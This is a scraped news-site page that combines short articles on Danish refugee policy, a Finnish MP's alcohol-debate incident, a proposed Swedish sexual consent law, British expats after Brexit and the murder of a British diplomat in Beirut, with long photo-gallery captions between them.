November 2022 A migrant attempting to communicate with journalists is pinned against a fence by members of staff, before being taken out of view, at the Manston immigration short-term holding facility, located at the former Defence Fire Training and Development Centre in Thanet, Kent PA UK news in pictures 7 November 2022 Handout photo issued by Just Stop Oil of a protester who has climbed a gantry on the M25 between junctions six and seven in Surrey, leading to the closure of the motorway PA UK news in pictures 6 November 2022 A grey seal with its pup, at the Donna Nook National Nature Reserve in north Lincolnshire, where they come every year in late October, November and December to give birth to their pups near the sand dunes, the wildlife spectacle attracts visitors from across the UK PA UK news in pictures 5 November 2022 Demonstrators with placards calling for a General Election march near the Houses of Parliament AFP via Getty Images UK news in pictures 4 November 2022 A peacock is seen in the early winter sunshine in the Dutch Gardens in Holland Park AFP via Getty Images UK news in pictures 3 November 2022 Florence Kasumba, Letitia Wright, Tenoch Huerta and Lupita Nyongo attend the European Premiere of Black Panther: Wakanda Forever in London Getty UK news in pictures 2 November 2022 A red squirrel gathers nuts in Pitlochry, Scotland Reuters UK news in pictures 1 November 2022 Englands Tara-Jane Stanley scores their sides seventh try against Brazil during the Womens Rugby League World Cup group A match at Headingley Stadium, Leeds PA UK news in pictures 31 October 2022 GBs James Hall competes during the mens parallel bars qualification at the World Gymnastics Championships in Liverpool AFP/Getty UK news in pictures 30 October 2022 People dressed in Halloween costumes paddle board along the river Avon in Christchurch, Dorset PA UK news in pictures 29 October 2022 Members of the public take pictures as police officers remove activists from a road during a Just Stop Oil protest, in London Reuters UK news in pictures 28 October 2022 A cosplayer attends the MCM Comic Con London 2022 at the ExCel Centre in London Reuters UK news in pictures 27 October 2022 98-year-old D-Day Veteran Bernard Morgan, whose story is among those featured on the giant poppy wall, during the launch of The Royal British Legion 2022 Poppy Appeal, at Hay's Galleria in central London PA UK news in pictures 26 October 2022 A meerkat explores a pumpkin in the enclosure at Wild Place, Bristol, where some of the animals are having pumpkin treats as part of their environmental enrichment PA UK news in pictures 25 October 2022 King Charles III welcomes Rishi Sunak during an audience at Buckingham Palace, where he invited the newly elected leader of the Conservative Party to become Prime Minister and form a new government PA UK news in pictures 24 October 2022 Rishi Sunak celebrates with Tory MPs outside the Conservative Campaign Headquarters after becoming the new leader of the Conservative Party Reuters UK news in pictures 23 October 2022 The Green Man at October Plenty, Borough Market's annual Autumn Harvest festival, in London, which returns for the first time post pandemic PA UK news in pictures 21 October 2022 Sculptor Peter McKenna puts the finishing touches to a pumpkin that will form part of the Planet A Hebden Bridge Pumpkin Trail in the West Yorkshire town PA UK news in pictures 20 October 2022 Britains Prime Minister Liz Truss delivers a speech outside of 10 Downing Street in central London to announce her resignation AFP/Getty UK news in pictures 19 October 2022 Salmon leap up Stainforth Force on the River Ribble in the Yorkshire Dales as they swim upriver to their spawning grounds during the annual Salmon migration PA UK news in pictures 18 October 2022 Just Stop Oil protesters continue their protest for a second day on the Queen Elizabeth II Bridge, which links Kent and Essex and which remains closed for traffic, after it was scaled by two climbers from the group PA UK news in pictures 17 October 2022 Hundreds of students take part in the traditional Raisin Monday foam fight on St Salvator's Lower College Lawn at the University of St Andrews in Fife PA UK news in pictures 16 October 2022 A protester holds a placard during a march into central London at a demonstration by the climate change protest group Extinction Rebellion AFP/Getty UK news in pictures 15 October 2022 A member of the public drags an activist who is blocking the road during a "Just Stop Oil" protest, in London, Britain REUTERS UK news in pictures 14 October 2022 Germanys Womens double skulls during day one of the World Rowing Beach Sprint Finals at Saundersfoot beach, Pembrokeshire PA UK news in pictures 13 October 2022 Family and mourners arrive at St Michael's Church, in Creeslough, for the funeral mass of 49-year-old mother of four Martina Martin, who died following an explosion at the Applegreen service station in the village of Creeslough in Co Donegal on Friday PA UK news in pictures 12 October 2022 Motorists in Coventry pass trees showing autumnal colour PA UK news in pictures 11 October 2022 A woman and her dog in the the North Sea at Tynemouth Longsands beach before sunrise PA UK news in pictures 10 October 2022 Police officers remove a campaigner from a Just Stop Oil protest on The Mall, near Buckingham Palace, London PA UK news in pictures 9 October 2022 A drummer plays during the Diwali on the Square celebration, in Trafalgar Square, London PA UK news in pictures 8 October 2022 Timothee Chalamet attending the UK premiere of Bones and All during the BFI London Film Festival 2022 at the Royal Festival Hall, Southbank Centre, London PA UK news in pictures 7 October 2022 Two young male fallow deer lock antlers in Dublins Phoenix park as rutting season begins PA UK news in pictures 6 October 2022 The Princess of Wales during a cocktail making competition during a visit to Trademarket, a new outdoor street-food and retail market situated in Belfast city centre, as part of the royal visit to Northern Ireland PA UK news in pictures 5 October 2022 Greenpeace protesters interrupt Prime Minister Liz Truss as she delivers her keynote speech to the Conservative Party annual conference PA UK news in pictures 4 October 2022 Prime Minister Liz Truss and Britains Chancellor of the Exchequer Kwasi Kwarteng wearing hard hats and hi-vis jackets, visit a construction site for a medical innovation campus in Birmingham AFP/Getty UK news in pictures 3 October 2022 British artist Sam Cox, aka Mr Doodle, reveals the Doodle House, a twelve-room mansion at Tenterden, in Kent, which has been covered, inside and out in the artist's trademark monochrome, cartoonish hand-drawn doodles PA UK news in pictures 2 October 2022 Erling Haaland celebrates after scoring Manchester City's second goal against Manchester United at Etihad Stadium. Haaland went on to score a hattrick, his third of the season in the Premier League. City beat United 6-3. Manchester City FC/Getty UK news in pictures 1 October 2022 Protesters hold up flags and placards at a protest in London. A variety of protest groups including Enough is Enough, Don't Pay and Just Stop Oil all demonstrated on the day AFP/Getty UK news in pictures 30 September 2022 British Prime Minister Liz Truss, who has not been seen in days, leaves the back of Downing Street after a meeting with Office For Budget Responsibility following the release of her governments mini-budget Getty UK news in pictures 29 September 2022 The Virginia creeper foliage on the Tu Hwnt i'r Bont (Beyond the Bridge) Llanwrst, Conwy North Wales, has changed colour from green to red in at the start of Autumn. The building was built in 1480 as a residential dwelling but has been a tearoom for over 50 years PA UK news in pictures 28 September 2022 Criminal barristers from the Criminal Bar Association (CBA), demonstrates outside the Royal Courts of Justice in London, as part of their ongoing pay row with the Government PA

In the past British expats concerned about where they will stand after EU withdrawal have criticised the negotiation process, claiming they have been used as bargaining chips.

According to the Government around 1 million UK nationals are long-term residents of other EU countries. This includes around 300,000 in Spain, while France and Germany also host significant numbers of British citizens.
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A Danish MP has called for all refugees, even those with jobs, to be deported from the country once their home nations are deemed safe.

Marcus Knuth, an immigration spokesman for the governing Liberal (Venstre) party, said all people who have been granted asylum in Denmark should be made to go back to their country of origin regardless of whether they had already assimilated into Danish life.

The government, which is minority controlled by the Liberals with support from the Danish People's Party, Liberal Alliance and the Conservative People's Party, is currently negotiating what is being called a paradigm change in the countrys attitude to asylum.

The rule change is being demanded by the nationalist Danish Peoples Party in return for supporting tax cuts. The new rules would see refugees granted temporary asylum, meaning they will be ordered to go back to their home country when the danger had past and are denied the right to family reunification.

These refugees will also be barred from accessing integration services such as language lessons and the basic integration education programme  an apprenticeship scheme introduced last year, The Local reported.

A similar scheme was introduced in Germany last year following a backlash against Chancellor Angela Merkels open door policy to refugees fearing violence in Iraq and Syria.

Over 1 million refugees arrived in Germany in 2016.

But the new rules are likely to create a big hole in the Danish jobs market as the arrival of refugees has made up for a reported decline in the number of people coming to the country from eastern Europe.

Giles Duley  capturing moments of hope in the refugee crisis Show all 13 1 /13 Giles Duley  capturing moments of hope in the refugee crisis Giles Duley  capturing moments of hope in the refugee crisis Giles Duley Giles Duley  capturing moments of hope in the refugee crisis Giles Duley Giles Duley  capturing moments of hope in the refugee crisis Giles Duley Giles Duley  capturing moments of hope in the refugee crisis Giles Duley Giles Duley  capturing moments of hope in the refugee crisis Giles Duley Giles Duley  capturing moments of hope in the refugee crisis Giles Duley Giles Duley  capturing moments of hope in the refugee crisis Giles Duley Giles Duley  capturing moments of hope in the refugee crisis Giles Duley Giles Duley  capturing moments of hope in the refugee crisis Giles Duley Giles Duley  capturing moments of hope in the refugee crisis Giles Duley Giles Duley  capturing moments of hope in the refugee crisis Giles Duley Giles Duley  capturing moments of hope in the refugee crisis Giles Duley Giles Duley  capturing moments of hope in the refugee crisis Giles Duley

A report by the Danish newspaper Berlingske said that workers from outside the EU made up a larger share of foreign workers than EU citizens for the first time.

Meanwhile the Confederation of Danish Industry has repeatedly stressed the difficulty its members have had in filling its jobs  which it said was largely to do with the falling number of people arriving in the country to work.

Figures released by the body in November showed that the number of EU citizens coming to Denmark to work has fallen by 65 percent in the space of 15 months.

According to their analysis EU citizens took just 11 per cent of newly created jobs in Denmark in 2017  compared with 87 per cent in 2013.

But Mr Knuth is adamant that overall refugees are an economic burden for Denmark.

He said: The number of refugees on the labour market is fortunately increasing. But at the same time, they do not make up a big part of the jobs market.

If refugees can make a contribution, that can only be positive. But that does not change the fact that, as soon as there is peace in their home country, that have to go back.
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A Finnish MP was forced to abandon a parliamentary debate on alcoholism to go and check on a political aide with suspected alcohol poisoning  in an incident that has sparked a new debate about the Nordic countrys relationship with booze.

Paivi Rasanen, a Christian Democrat MP who is also a trained doctor, was taking part in a debate on the liberalisation of the countrys Alcohol Act in a Thursday evening sitting of the Finnish parliament  while work Christmas parties were going on in the building.

Finnish media reports that the MP was summoned out of the chamber for her medical expertise after eyewitnesses saw a staffer vomiting in one of the parliaments corridors and unable to stand properly.

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The newspaper Aamulehti reports that the MP stayed with the aide until they were taken away in an ambulance from Speakers Square, outside the parliament, at 10pm.

I was there as a doctor. It is true that I was called from the room during the plenary session, Ms Rasanen told Aamulehti.

I just had the floor  at the same time, there were the traditional Christmas parties in the building.

She added: It is very controversial that a parliamentary debate is underway in which the disadvantages of alcohol are discussed, and at the same time this is happening.

Ms Rasanen said she had not contacted the press about the incident because of doctor-patient confidentiality, and that she could not give any further details.

The details come as another Finnish MP, Teuvo Hakkarainen, from the right-wing populist Finns Party, also apologised the morning after the party to an unspecified colleague for alleged inappropriate behaviour, according to Finnish newspaper Ilta Sanomat.

The Finnish Governments proposals for reform of the countrys Alcohol Act would allow grocery stores to sell stronger beers  which are currently restricted by law for sale only in a state monopoly store with limited opening hours.

The state monopoly supplier, Alko, would also also have its opening hours extended. Happy hour discounts, currently banned, would also be legalised under the proposals.

World news in pictures Show all 50 1 /50 World news in pictures World news in pictures 30 September 2020 Pope Francis prays with priests at the end of a limited public audience at the San Damaso courtyard in The Vatican AFP via Getty World news in pictures 29 September 2020 A girl's silhouette is seen from behind a fabric in a tent along a beach by Beit Lahia in the northern Gaza Strip AFP via Getty World news in pictures 28 September 2020 A Chinese woman takes a photo of herself in front of a flower display dedicated to frontline health care workers during the COVID-19 pandemic in Beijing, China. China will celebrate national day marking the founding of the People's Republic of China on October 1st Getty World news in pictures 27 September 2020 The Glass Mountain Inn burns as the Glass Fire moves through the area in St. Helena, California. The fast moving Glass fire has burned over 1,000 acres and has destroyed homes Getty World news in pictures 26 September 2020 A villager along with a child offers prayers next to a carcass of a wild elephant that officials say was electrocuted in Rani Reserve Forest on the outskirts of Guwahati, India AFP via Getty World news in pictures 25 September 2020 The casket of late Supreme Court Justice Ruth Bader Ginsburg is seen in Statuary Hall in the US Capitol to lie in state in Washington, DC AFP via Getty World news in pictures 24 September 2020 An anti-government protester holds up an image of a pro-democracy commemorative plaque at a rally outside Thailand's parliament in Bangkok, as activists gathered to demand a new constitution AFP via Getty World news in pictures 23 September 2020 A whale stranded on a beach in Macquarie Harbour on the rugged west coast of Tasmania, as hundreds of pilot whales have died in a mass stranding in southern Australia despite efforts to save them, with rescuers racing to free a few dozen survivors The Mercury/AFP via Getty World news in pictures 22 September 2020 State civil employee candidates wearing face masks and shields take a test in Surabaya AFP via Getty World news in pictures 21 September 2020 A man sweeps at the Taj Mahal monument on the day of its reopening after being closed for more than six months due to the coronavirus pandemic AP World news in pictures 20 September 2020 A deer looks for food in a burnt area, caused by the Bobcat fire, in Pearblossom, California EPA World news in pictures 19 September 2020 Anti-government protesters hold their mobile phones aloft as they take part in a pro-democracy rally in Bangkok. Tens of thousands of pro-democracy protesters massed close to Thailand's royal palace, in a huge rally calling for PM Prayut Chan-O-Cha to step down and demanding reforms to the monarchy AFP via Getty World news in pictures 18 September 2020 Supporters of Iraqi Shi'ite cleric Moqtada al-Sadr maintain social distancing as they attend Friday prayers after the coronavirus disease restrictions were eased, in Kufa mosque, near Najaf, Iraq Reuters World news in pictures 17 September 2020 A protester climbs on The Triumph of the Republic at 'the Place de la Nation' as thousands of protesters take part in a demonstration during a national day strike called by labor unions asking for better salary and against jobs cut in Paris, France EPA World news in pictures 16 September 2020 A fire raging near the Lazzaretto of Ancona in Italy. The huge blaze broke out overnight at the port of Ancona. Firefighters have brought the fire under control but they expected to keep working through the day EPA World news in pictures 15 September 2020 Russian opposition leader Alexei Navalny posing for a selfie with his family at Berlin's Charite hospital. In an Instagram post he said he could now breathe independently following his suspected poisoning last month Alexei Navalny/Instagram/AFP World news in pictures 14 September 2020 Japan's Prime Minister Shinzo Abe, Chief Cabinet Secretary Yoshihide Suga, former Defense Minister Shigeru Ishiba and former Foreign Minister Fumio Kishida celebrate after Suga was elected as new head of the ruling party at the Liberal Democratic Party's leadership election in Tokyo Reuters World news in pictures 13 September 2020 A man stands behind a burning barricade during the fifth straight day of protests against police brutality in Bogota AFP via Getty World news in pictures 12 September 2020 Police officers block and detain protesters during an opposition rally to protest the official presidential election results in Minsk, Belarus. Daily protests calling for the authoritarian president's resignation are now in their second month AP World news in pictures 11 September 2020 Members of 'Omnium Cultural' celebrate the 20th 'Festa per la llibertat' ('Fiesta for the freedom') to mark the Day of Catalonia in Barcelona. Omnion Cultural fights for the independence of Catalonia EPA World news in pictures 10 September 2020 The Moria refugee camp, two days after Greece's biggest migrant camp, was destroyed by fire. Thousands of asylum seekers on the island of Lesbos are now homeless AFP via Getty World news in pictures 9 September 2020 Pope Francis takes off his face mask as he arrives by car to hold a limited public audience at the San Damaso courtyard in The Vatican AFP via Getty World news in pictures 8 September 2020 A home is engulfed in flames during the "Creek Fire" in the Tollhouse area of California AFP via Getty World news in pictures 7 September 2020 A couple take photos along a sea wall of the waves brought by Typhoon Haishen in the eastern port city of Sokcho AFP via Getty World news in pictures 6 September 2020 Novak Djokovic and a tournament official tends to a linesperson who was struck with a ball by Djokovic during his match against Pablo Carreno Busta at the US Open USA Today Sports/Reuters World news in pictures 5 September 2020 Protesters confront police at the Shrine of Remembrance in Melbourne, Australia, during an anti-lockdown rally AFP via Getty World news in pictures 4 September 2020 A woman looks on from a rooftop as rescue workers dig through the rubble of a damaged building in Beirut. A search began for possible survivors after a scanner detected a pulse one month after the mega-blast at the adjacent port AFP via Getty World news in pictures 3 September 2020 A full moon next to the Virgen del Panecillo statue in Quito, Ecuador EPA World news in pictures 2 September 2020 A Palestinian woman reacts as Israeli forces demolish her animal shed near Hebron in the Israeli-occupied West Bank Reuters World news in pictures 1 September 2020 Students protest against presidential elections results in Minsk TUT.BY/AFP via Getty World news in pictures 31 August 2020 The pack rides during the 3rd stage of the Tour de France between Nice and Sisteron AFP via Getty World news in pictures 30 August 2020 Law enforcement officers block a street during a rally of opposition supporters protesting against presidential election results in Minsk, Belarus Reuters World news in pictures 29 August 2020 A woman holding a placard reading "Stop Censorship - Yes to the Freedom of Expression" shouts in a megaphone during a protest against the mandatory wearing of face masks in Paris. Masks, which were already compulsory on public transport, in enclosed public spaces, and outdoors in Paris in certain high-congestion areas around tourist sites, were made mandatory outdoors citywide on August 28 to fight the rising coronavirus infections AFP via Getty World news in pictures 28 August 2020 Japanese Prime Minister Shinzo Abe bows to the national flag at the start of a press conference at the prime minister official residence in Tokyo. Abe announced he will resign over health problems, in a bombshell development that kicks off a leadership contest in the world's third-largest economy AFP via Getty World news in pictures 27 August 2020 Residents take cover behind a tree trunk from rubber bullets fired by South African Police Service (SAPS) in Eldorado Park, near Johannesburg, during a protest by community members after a 16-year old boy was reported dead AFP via Getty World news in pictures 26 August 2020 People scatter rose petals on a statue of Mother Teresa marking her 110th birth anniversary in Ahmedabad AFP via Getty World news in pictures 25 August 2020 An aerial view shows beach-goers standing on salt formations in the Dead Sea near Ein Bokeq, Israel Reuters World news in pictures 24 August 2020 Health workers use a fingertip pulse oximeter and check the body temperature of a fisherwoman inside the Dharavi slum during a door-to-door Covid-19 coronavirus screening in Mumbai AFP via Getty World news in pictures 23 August 2020 People carry an idol of the Hindu god Ganesh, the deity of prosperity, to immerse it off the coast of the Arabian sea during the Ganesh Chaturthi festival in Mumbai, India Reuters World news in pictures 22 August 2020 Firefighters watch as flames from the LNU Lightning Complex fires approach a home in Napa County, California AP World news in pictures 21 August 2020 Members of the Israeli security forces arrest a Palestinian demonstrator during a rally to protest against Israel's plan to annex parts of the occupied West Bank AFP via Getty World news in pictures 20 August 2020 A man pushes his bicycle through a deserted road after prohibitory orders were imposed by district officials for a week to contain the spread of the Covid-19 in Kathmandu AFP via Getty World news in pictures 19 August 2020 A car burns while parked at a residence in Vacaville, California. Dozens of fires are burning out of control throughout Northern California as fire resources are spread thin AFP via Getty World news in pictures 18 August 2020 Students use their mobile phones as flashlights at an anti-government rally at Mahidol University in Nakhon Pathom. Thailand has seen near-daily protests in recent weeks by students demanding the resignation of Prime Minister Prayut Chan-O-Cha AFP via Getty World news in pictures 17 August 2020 Members of the Kayapo tribe block the BR163 highway during a protest outside Novo Progresso in Para state, Brazil. Indigenous protesters blocked a major transamazonian highway to protest against the lack of governmental support during the COVID-19 novel coronavirus pandemic and illegal deforestation in and around their territories AFP via Getty World news in pictures 16 August 2020 Lightning forks over the San Francisco-Oakland Bay Bridge as a storm passes over Oakland AP World news in pictures 15 August 2020 Belarus opposition supporters gather near the Pushkinskaya metro station where Alexander Taraikovsky, a 34-year-old protester died on August 10, during their protest rally in central Minsk AFP via Getty World news in pictures 14 August 2020 AlphaTauri's driver Daniil Kvyat takes part in the second practice session at the Circuit de Catalunya in Montmelo near Barcelona ahead of the Spanish F1 Grand Prix AFP via Getty World news in pictures 13 August 2020 Soldiers of the Brazilian Armed Forces during a disinfection of the Christ The Redeemer statue at the Corcovado mountain prior to the opening of the touristic attraction in Rio AFP via Getty World news in pictures 12 August 2020 Young elephant bulls tussle playfully on World Elephant Day at the Amboseli National Park in Kenya AFP via Getty

Finland has the 16th highest alcohol consumption in the world according to a 2014 WHO report  and by far the highest of the Nordics. Sweden and Norway languish at 50th and 65th respectively in the drinking tables.

As well has having both a beer and vodka (locally, Koskenkorva) drinking culture, so-called longdrinks  typically a mixture of gin and grapefruit soda  are also popular in Finland.
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The Swedish Prime Minister has backed calls for a sexual consent law which will mean more rape and sexual assault cases can be prosecuted.

Under the proposed law, if a person has not agreed in words or clearly demonstrated they want to engage in sexual activity, then forcing or coercing them into a sexual act will be illegal.

Current Swedish law means what is classed as rape covers a multitude of sexual offences but it has to be proven it occurred because of threats or violence.

The proposed changes, which are likely to be legislated for next year, will mean sexual acts will be deemed rape whenever consent was not given regardless of whether there is any evidence of threats or violence.

Speaking a press conference announcing the change, Prime Minister Stefan Lofven said: It should be obvious. Sex should be voluntary. If it is not voluntary, then it is illegal.

If you are unsure, then refrain!

The new sexual consent law is partially a response to the #metoo movement which gathered momentum after allegations emerged that Hollywood producer Harvey Weinstein had used his position to sexually harass, assault and rape dozens of women over the past 30 years.

The claims led to a wave of allegations against other powerful men in other industries and spread across the world, including to Sweden.

World news in pictures Show all 50 1 /50 World news in pictures World news in pictures 30 September 2020 Pope Francis prays with priests at the end of a limited public audience at the San Damaso courtyard in The Vatican AFP via Getty World news in pictures 29 September 2020 A girl's silhouette is seen from behind a fabric in a tent along a beach by Beit Lahia in the northern Gaza Strip AFP via Getty World news in pictures 28 September 2020 A Chinese woman takes a photo of herself in front of a flower display dedicated to frontline health care workers during the COVID-19 pandemic in Beijing, China. China will celebrate national day marking the founding of the People's Republic of China on October 1st Getty World news in pictures 27 September 2020 The Glass Mountain Inn burns as the Glass Fire moves through the area in St. Helena, California. The fast moving Glass fire has burned over 1,000 acres and has destroyed homes Getty World news in pictures 26 September 2020 A villager along with a child offers prayers next to a carcass of a wild elephant that officials say was electrocuted in Rani Reserve Forest on the outskirts of Guwahati, India AFP via Getty World news in pictures 25 September 2020 The casket of late Supreme Court Justice Ruth Bader Ginsburg is seen in Statuary Hall in the US Capitol to lie in state in Washington, DC AFP via Getty World news in pictures 24 September 2020 An anti-government protester holds up an image of a pro-democracy commemorative plaque at a rally outside Thailand's parliament in Bangkok, as activists gathered to demand a new constitution AFP via Getty World news in pictures 23 September 2020 A whale stranded on a beach in Macquarie Harbour on the rugged west coast of Tasmania, as hundreds of pilot whales have died in a mass stranding in southern Australia despite efforts to save them, with rescuers racing to free a few dozen survivors The Mercury/AFP via Getty World news in pictures 22 September 2020 State civil employee candidates wearing face masks and shields take a test in Surabaya AFP via Getty World news in pictures 21 September 2020 A man sweeps at the Taj Mahal monument on the day of its reopening after being closed for more than six months due to the coronavirus pandemic AP World news in pictures 20 September 2020 A deer looks for food in a burnt area, caused by the Bobcat fire, in Pearblossom, California EPA World news in pictures 19 September 2020 Anti-government protesters hold their mobile phones aloft as they take part in a pro-democracy rally in Bangkok. Tens of thousands of pro-democracy protesters massed close to Thailand's royal palace, in a huge rally calling for PM Prayut Chan-O-Cha to step down and demanding reforms to the monarchy AFP via Getty World news in pictures 18 September 2020 Supporters of Iraqi Shi'ite cleric Moqtada al-Sadr maintain social distancing as they attend Friday prayers after the coronavirus disease restrictions were eased, in Kufa mosque, near Najaf, Iraq Reuters World news in pictures 17 September 2020 A protester climbs on The Triumph of the Republic at 'the Place de la Nation' as thousands of protesters take part in a demonstration during a national day strike called by labor unions asking for better salary and against jobs cut in Paris, France EPA World news in pictures 16 September 2020 A fire raging near the Lazzaretto of Ancona in Italy. The huge blaze broke out overnight at the port of Ancona. Firefighters have brought the fire under control but they expected to keep working through the day EPA World news in pictures 15 September 2020 Russian opposition leader Alexei Navalny posing for a selfie with his family at Berlin's Charite hospital. In an Instagram post he said he could now breathe independently following his suspected poisoning last month Alexei Navalny/Instagram/AFP World news in pictures 14 September 2020 Japan's Prime Minister Shinzo Abe, Chief Cabinet Secretary Yoshihide Suga, former Defense Minister Shigeru Ishiba and former Foreign Minister Fumio Kishida celebrate after Suga was elected as new head of the ruling party at the Liberal Democratic Party's leadership election in Tokyo Reuters World news in pictures 13 September 2020 A man stands behind a burning barricade during the fifth straight day of protests against police brutality in Bogota AFP via Getty World news in pictures 12 September 2020 Police officers block and detain protesters during an opposition rally to protest the official presidential election results in Minsk, Belarus. Daily protests calling for the authoritarian president's resignation are now in their second month AP World news in pictures 11 September 2020 Members of 'Omnium Cultural' celebrate the 20th 'Festa per la llibertat' ('Fiesta for the freedom') to mark the Day of Catalonia in Barcelona. Omnion Cultural fights for the independence of Catalonia EPA World news in pictures 10 September 2020 The Moria refugee camp, two days after Greece's biggest migrant camp, was destroyed by fire. Thousands of asylum seekers on the island of Lesbos are now homeless AFP via Getty World news in pictures 9 September 2020 Pope Francis takes off his face mask as he arrives by car to hold a limited public audience at the San Damaso courtyard in The Vatican AFP via Getty World news in pictures 8 September 2020 A home is engulfed in flames during the "Creek Fire" in the Tollhouse area of California AFP via Getty World news in pictures 7 September 2020 A couple take photos along a sea wall of the waves brought by Typhoon Haishen in the eastern port city of Sokcho AFP via Getty World news in pictures 6 September 2020 Novak Djokovic and a tournament official tends to a linesperson who was struck with a ball by Djokovic during his match against Pablo Carreno Busta at the US Open USA Today Sports/Reuters World news in pictures 5 September 2020 Protesters confront police at the Shrine of Remembrance in Melbourne, Australia, during an anti-lockdown rally AFP via Getty World news in pictures 4 September 2020 A woman looks on from a rooftop as rescue workers dig through the rubble of a damaged building in Beirut. A search began for possible survivors after a scanner detected a pulse one month after the mega-blast at the adjacent port AFP via Getty World news in pictures 3 September 2020 A full moon next to the Virgen del Panecillo statue in Quito, Ecuador EPA World news in pictures 2 September 2020 A Palestinian woman reacts as Israeli forces demolish her animal shed near Hebron in the Israeli-occupied West Bank Reuters World news in pictures 1 September 2020 Students protest against presidential elections results in Minsk TUT.BY/AFP via Getty World news in pictures 31 August 2020 The pack rides during the 3rd stage of the Tour de France between Nice and Sisteron AFP via Getty World news in pictures 30 August 2020 Law enforcement officers block a street during a rally of opposition supporters protesting against presidential election results in Minsk, Belarus Reuters World news in pictures 29 August 2020 A woman holding a placard reading "Stop Censorship - Yes to the Freedom of Expression" shouts in a megaphone during a protest against the mandatory wearing of face masks in Paris. Masks, which were already compulsory on public transport, in enclosed public spaces, and outdoors in Paris in certain high-congestion areas around tourist sites, were made mandatory outdoors citywide on August 28 to fight the rising coronavirus infections AFP via Getty World news in pictures 28 August 2020 Japanese Prime Minister Shinzo Abe bows to the national flag at the start of a press conference at the prime minister official residence in Tokyo. Abe announced he will resign over health problems, in a bombshell development that kicks off a leadership contest in the world's third-largest economy AFP via Getty World news in pictures 27 August 2020 Residents take cover behind a tree trunk from rubber bullets fired by South African Police Service (SAPS) in Eldorado Park, near Johannesburg, during a protest by community members after a 16-year old boy was reported dead AFP via Getty World news in pictures 26 August 2020 People scatter rose petals on a statue of Mother Teresa marking her 110th birth anniversary in Ahmedabad AFP via Getty World news in pictures 25 August 2020 An aerial view shows beach-goers standing on salt formations in the Dead Sea near Ein Bokeq, Israel Reuters World news in pictures 24 August 2020 Health workers use a fingertip pulse oximeter and check the body temperature of a fisherwoman inside the Dharavi slum during a door-to-door Covid-19 coronavirus screening in Mumbai AFP via Getty World news in pictures 23 August 2020 People carry an idol of the Hindu god Ganesh, the deity of prosperity, to immerse it off the coast of the Arabian sea during the Ganesh Chaturthi festival in Mumbai, India Reuters World news in pictures 22 August 2020 Firefighters watch as flames from the LNU Lightning Complex fires approach a home in Napa County, California AP World news in pictures 21 August 2020 Members of the Israeli security forces arrest a Palestinian demonstrator during a rally to protest against Israel's plan to annex parts of the occupied West Bank AFP via Getty World news in pictures 20 August 2020 A man pushes his bicycle through a deserted road after prohibitory orders were imposed by district officials for a week to contain the spread of the Covid-19 in Kathmandu AFP via Getty World news in pictures 19 August 2020 A car burns while parked at a residence in Vacaville, California. Dozens of fires are burning out of control throughout Northern California as fire resources are spread thin AFP via Getty World news in pictures 18 August 2020 Students use their mobile phones as flashlights at an anti-government rally at Mahidol University in Nakhon Pathom. Thailand has seen near-daily protests in recent weeks by students demanding the resignation of Prime Minister Prayut Chan-O-Cha AFP via Getty World news in pictures 17 August 2020 Members of the Kayapo tribe block the BR163 highway during a protest outside Novo Progresso in Para state, Brazil. Indigenous protesters blocked a major transamazonian highway to protest against the lack of governmental support during the COVID-19 novel coronavirus pandemic and illegal deforestation in and around their territories AFP via Getty World news in pictures 16 August 2020 Lightning forks over the San Francisco-Oakland Bay Bridge as a storm passes over Oakland AP World news in pictures 15 August 2020 Belarus opposition supporters gather near the Pushkinskaya metro station where Alexander Taraikovsky, a 34-year-old protester died on August 10, during their protest rally in central Minsk AFP via Getty World news in pictures 14 August 2020 AlphaTauri's driver Daniil Kvyat takes part in the second practice session at the Circuit de Catalunya in Montmelo near Barcelona ahead of the Spanish F1 Grand Prix AFP via Getty World news in pictures 13 August 2020 Soldiers of the Brazilian Armed Forces during a disinfection of the Christ The Redeemer statue at the Corcovado mountain prior to the opening of the touristic attraction in Rio AFP via Getty World news in pictures 12 August 2020 Young elephant bulls tussle playfully on World Elephant Day at the Amboseli National Park in Kenya AFP via Getty

The proposed law is one of several initiatives designed to put the victims interests first, Mr Lofven said.

Critics of the law have said it will not lead to more convictions, but Mr Lofven said it was also about changing societys attitudes and values, The Local reported.

In addition to the sexual consent law, the government is also planning other legislation which will improved victim support service, fight sexual exploitation and human trafficking, make buying sex abroad illegal and increase prison sentences for offenders.

There is also a 10-year plan in place to fight mens violence against women and a plan to introduce electronic tagging of convicted domestic abusers.
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The forensic examiner in the case of the murdered British diplomat Rebecca Dykes has said he sees "four or five" similar crimes every month against Lebanese and Syrian women.

A Lebanese security source on Monday said an Uber driver with a criminal record had confessed to killing the 30-year-old, who was found by the side of a main road outside Beirut on Sunday.

Ms Dykes had been working as a programme and policy manager with the Department of International Development and policy manager at the British embassy in the capital.

Her family described her as "genuine", as well as "intelligent, ambitious and dedicated to her work".

Official sources said preliminary investigations showed the murder was not politically motivated.

Nehme Mallah, who carried out forensic examinations on Ms Dykes's body, told The Daily Star Lebanon this was the first incident involving a Western woman he had seen, but that similar attacks happened regularly against local women.

"This is the first time I've seen a case like this with a Westerner. But I see four or five of these cases a month  half of them Syrian, half Lebanese," the examiner said.

UK news in pictures Show all 50 1 /50 UK news in pictures UK news in pictures 17 November 2022 Chancellor of the Exchequer Jeremy Hunt leaves 11 Downing Street, London, for the House of Commons to deliver his autumn statement PA UK news in pictures 16 November 2022 Emma Woolf, great niece of British author Virginia Woolf, and her son Ludovic sit next to a new bronze statue of Woolf, unveiled in Richmond, London Reuters UK news in pictures 15 November 2022 Lesley Sutcliffe shelters from the rain next to a life-sized replica of the innermost coffin of King Tutankhamun by artist Amanda Stoner as it goes on display inside a traditional red telephone box which has been converted into a museum, in Barnsley, South Yorkshire PA UK news in pictures 14 November 2022 Members of the hospitality sector demonstrate outside parliament in London. The head of the Confederation of British Industry is urging the UK government to relax immigration rules to help British companies with severe staff shortages, ahead of the chancellors autumn statement EPA UK news in pictures 13 November 2022 England celebrate winning the mens T20 World Cup in Melbourne Cricket Ground, Australia AAP Image/Reuters UK news in pictures 12 November 2022 The City of London Pride Group take part in the parade during the Lord Mayor's Show PA UK news in pictures 11 November 2022 City workers attend a Remembrance Day ceremony at Lloyd's of London, in the City of London, to mark Armistice Day, the anniversary of the end of the First World War PA UK news in pictures 10 November 2022 A grey heron lands on the river Dodder in Dublin on a sunny autumn morning PA UK news in pictures 9 November 2022 Australia and Spain play during the Wheelchair Rugby League World Cup group A match at the Copper Box Arena, London PA UK news in pictures 8 November 2022 A migrant attempting to communicate with journalists is pinned against a fence by members of staff, before being taken out of view, at the Manston immigration short-term holding facility, located at the former Defence Fire Training and Development Centre in Thanet, Kent PA UK news 